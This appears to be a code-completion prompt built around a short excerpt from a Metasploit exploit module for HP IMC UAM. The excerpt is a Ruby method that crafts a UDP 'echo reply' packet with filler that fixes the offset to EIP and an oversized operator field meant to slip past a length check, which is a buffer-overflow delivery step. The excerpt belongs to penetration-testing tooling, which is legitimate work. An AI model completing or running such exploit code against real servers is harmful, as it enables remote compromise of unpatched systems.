You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: hp_imc_uam.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/misc
    
    the code of the file until where you have to start completion: ##
# This module requires Metasp
    
  def send_echo_reply(operator)
    packet = [0xF7103D21].pack("N") # command id
    packet << rand_text(18)
    packet << [0x102].pack("n") # watchdog command type => echo reply
    packet << "AAAA" # ip (static to make offset until EIP static)
    packet << "AA" # port (static to make offset until EIP static)
    packet << operator # Operator max length => 4066, in order to bypass packet length restriction: 4096 total

    connect_udp
    udp_sock.put(packet)
    disconnect_udp
  end
